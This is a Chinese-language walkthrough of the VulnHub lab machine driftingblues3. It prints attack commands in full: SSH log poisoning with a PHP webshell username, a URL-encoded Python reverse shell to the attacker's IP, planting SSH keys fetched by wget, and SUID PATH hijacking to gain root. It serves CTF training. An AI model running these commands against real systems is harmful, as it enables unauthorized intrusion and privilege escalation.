driftingblues3 VulnHub Walkthrough

信息收集

主机发现

1
arp-scan -l

端口扫描

1
nmap -sC -sV -p- 192.168.62.173 

只开放了22和80端口,先访问80端口看看

好像没有什么信息,扫一下目录

1
dirsearch -u http://192.168.62.173/

有点奇怪,逐个看了一下,好像都是没用的信息

再看看robots.txt,是唯一有用的路径

接着访问一下

emmm再接再厉,继续访问

好像是诗歌还是歌词,目前没有什么信息,查看一下源码

base64编码,到在线网站转换一下

哎,还要再转换一次

提示了一个php文件,去访问一下

漏洞发现

这个php文件是应该ssh登录日志,先随便尝试一下登录,看会不会有记录

可以看到两个登录用户名都已经记录了,那接下来就尝试通过日志写shell

漏洞利用&getshell

以php的webshell作为用户名来登录ssh

1
ssh '<?php system($_GET["cmd"]);?>'@192.168.62.173

看一下效果,看到已经可以执行命令了

反弹shell

先看一下有没有python环境

可以看到,靶机是有python3环境的,那就试试python来反弹shell

先开启一个监听端口来接收反弹的shell

访问一下

1
http://192.168.62.173/adminsfixit.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.62.134%22,1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27

在本机已经接收到了shell

SSH登录

进入到/home/robertj目录,发现.ssh是有写权限的,那我们就可以将我们的公钥写进去,实现免密登录

先在本地生成公私钥

1
ssh-keygen	#一直回默认就可以

进入本地ssh目录,查看一下id_rsa.pub

将id_rsa.pub的内容复制到authorized_keys

1
cat id_rsa.pub >> authorized_keys

然后上传到靶机的ssh目录,先在本机用python开启一个http服务

1
python3 -m http.server 80

到靶机的ssh目录通过wget下载

1
wget http://192.168.62.134/authorized_keys

现在可以实现ssh免密登录了

先获取第一个flag

权限提升

先看一下具有suid的可执行文件

1
find / -perm -u=s -type f 2>/dev/null

看到有一个getinfo命令,先执行一下看看

看着应该是分别执行了ip a、cat /etc/hosts、uname -a命令

那么执行具有suid的getinfo时,将会执行ip、cat、uname,那我们就可以写一个模拟可执行文件

这里我在tmp目录新建一个文件ip,并赋予执行权限

1
2
echo "/bin/bash" > /tmp/ip
chmod +x /tmp/ip

最后,添加一个环境变量/tmp,这样再执行一次具有suid的getinfo时,就会以root权限执行我们新建的/tmp/ip,我们就可以提权到root了

1
2
export PATH=/tmp:$PATH
/usr/bin/getinfo

现在可以获取第二个flag了